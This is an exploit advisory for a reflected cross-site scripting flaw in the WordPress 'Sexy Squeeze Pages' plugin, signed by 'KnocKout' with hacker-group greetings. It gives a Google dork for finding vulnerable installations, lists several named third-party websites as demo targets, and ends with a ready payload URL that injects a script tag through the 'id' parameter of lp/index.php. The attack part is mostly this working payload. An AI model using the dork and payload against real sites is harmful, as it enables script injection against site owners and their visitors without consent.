WordPress (Sexy Squeeze Pages) Plugin <= Reflected XSS Vulnerability

[+] Author : KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] HomePage : http://h4x0resec.blogspot.com
[~] Greetz :  Septemb0x , BARCOD3 , _UnDeRTaKeR_ , BackDoor, DaiMon, PRoMaX, ZoRLu

~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~App. : WordPress (Sexy Squeeze Pages) Plugin
|~Software: http://instasqueeze.com/jv/
|~Vulnerability Style : Cross Site Scripting
|[~]Date : "26.11.2014"
|[~]Tested on : Kali Linux, Windows 7
|DORK: inurl:wp-content/plugins/instasqueeze
~~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| DEMO :
http://instasqueeze.com ( Official )
http://gogglerank.com/
http://kangenwaterhq.com
http://visualhandsconnect.com
http://cynthialeecreations.com
==============[Exploitation]===============================
/instasqueeze/lp/index.php
id parameter is ( index.php ) not safe.

HTTP://[VICTIM]/wp-content/plugins/instasqueeze/lp/index.php?id="><script>alert(1337)</script>